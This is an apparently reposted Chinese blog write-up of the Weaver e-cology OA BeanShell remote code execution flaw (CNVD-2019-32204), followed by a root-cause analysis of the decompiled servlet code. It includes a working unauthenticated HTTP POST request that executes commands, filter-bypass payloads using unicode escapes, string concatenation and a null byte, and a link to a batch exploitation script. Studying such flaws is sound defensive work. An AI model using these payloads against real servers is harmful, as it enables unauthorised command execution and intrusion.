漏洞描述
2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重
漏洞信息
漏洞名称 泛微OA E-cology 远程代码执行漏洞
CNVD编号 CNVD-2019-32204
威胁等级 高危
公开时间 2019年9月17日
影响版本:E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0
漏洞复现
直接在网站根目录后加入组件访问路径 /weaver/bsh.servlet.BshServlet/,如下图执行了命令“whoami”
请求包为:
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: xxxxxxxx
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
bsh.script=exu0065c("whoami");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
关于绕过:
1.unicode编码2.字符串拼接
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter("command"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
批量验证脚本
该脚本组合了常用的泛微OA web路径,加上本文讲解绕过过滤器的Poc 该工具仅用于测试研究使用请勿他用。
脚本地址:https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204
漏洞分析#
漏洞出现在e-cology的组件beanshell上,由于beanshell这个接口可被未授权访问,同时这个接口在接受用户请求时未进行相应过滤,最终导致远程命令执行
先了解下Beanshell的基础
-
官网地址:https://github.com/beanshell/beanshell
BeanShell是一个小型的,免费的,可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。BeanShell动态执行标准Java语法,并通过通用的脚本编写便利进行扩展,例如松散的类型,命令和方法闭包(如Perl和JavaScript)。可以交互地使用BeanShell进行Java实验和调试,以及以新方式扩展应用程序。Beanshell可以执行print、dir、eval、exec等命令
简单说,就是一个微型的java解释器,可嵌入到其他程序中,用于动态的执行java代码,类似于csharp中的动态编译特性,我们通过一个例子来了解beanshell,如下图:
-
实例化Interpreter类 -
eval()函数用于动态的执行java代码
除了eval函数,还有其他函数可以动态执行字符串使用jadx反编译jar包,由于访问的组件路径为/weaver/bsh.servlet.BshServlet/,所以我们先查看一下类bsh.servlet.BshServlet,如下图
网站是post提交数据,所以我们查看doPost函数,发现只是执行了doGet函数:
跟踪doGet:
httpServletRequest.getParameter("bsh.script");参数为传入的值,赋值给了parameter
跟踪parameter,传入了evalScript函数:
跟踪evalScript函数:
直接调用interpreter.eval进行了代码执行
interpreter是Interpreter实例化的类
原文始发于微信公众号(网安知识库):泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析及批量检测工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论